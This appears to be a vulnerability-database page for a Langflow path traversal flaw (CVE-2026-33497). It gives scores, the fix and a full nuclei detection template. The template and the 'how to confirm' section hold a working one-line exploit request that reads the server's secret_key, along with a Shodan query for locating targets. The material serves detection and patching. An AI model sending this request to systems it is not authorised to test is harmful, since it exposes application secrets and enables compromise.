HexBrain

Browse / CVEs / CVE-2026-33497

CVE-2026-33497· CWE-22

Langflow < 1.7.0 - Path Traversal

highseverity
7.5CVSS score
20%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Langflow < 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.

Impact

Attackers can read sensitive secret_key files across directories, potentially compromising system security.

Fix

Update to version 1.7.1 or later.

How to confirm it

Send: GET {{BaseURL}}/api/v1/files/profile_pictures/../secret_key
Positive when: len(body) == 43 and status_code == 200 and contains(content_type, 'application/octet-stream')

Run it with nuclei: nuclei -id CVE-2026-33497 -u <target>

The full check
id: CVE-2026-33497

info:
  name: Langflow < 1.7.0 - Path Traversal
  author: xtr0nix
  severity: high
  description: |
    Langflow < 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.
  impact: |
    Attackers can read sensitive secret_key files across directories, potentially compromising system security.
  remediation: |
    Update to version 1.7.1 or later.
  reference:
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-ph9w-r52h-28p7
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33497
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-33497
    epss-score: 0.19987
    epss-percentile: 0.97459
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Langflow"
  tags: cve,cve2026,langflow,traversal,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/files/profile_pictures/../secret_key"

    matchers:
      - type: dsl
        dsl:
          - len(body) == 43
          - status_code == 200
          - contains(content_type, 'application/octet-stream')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from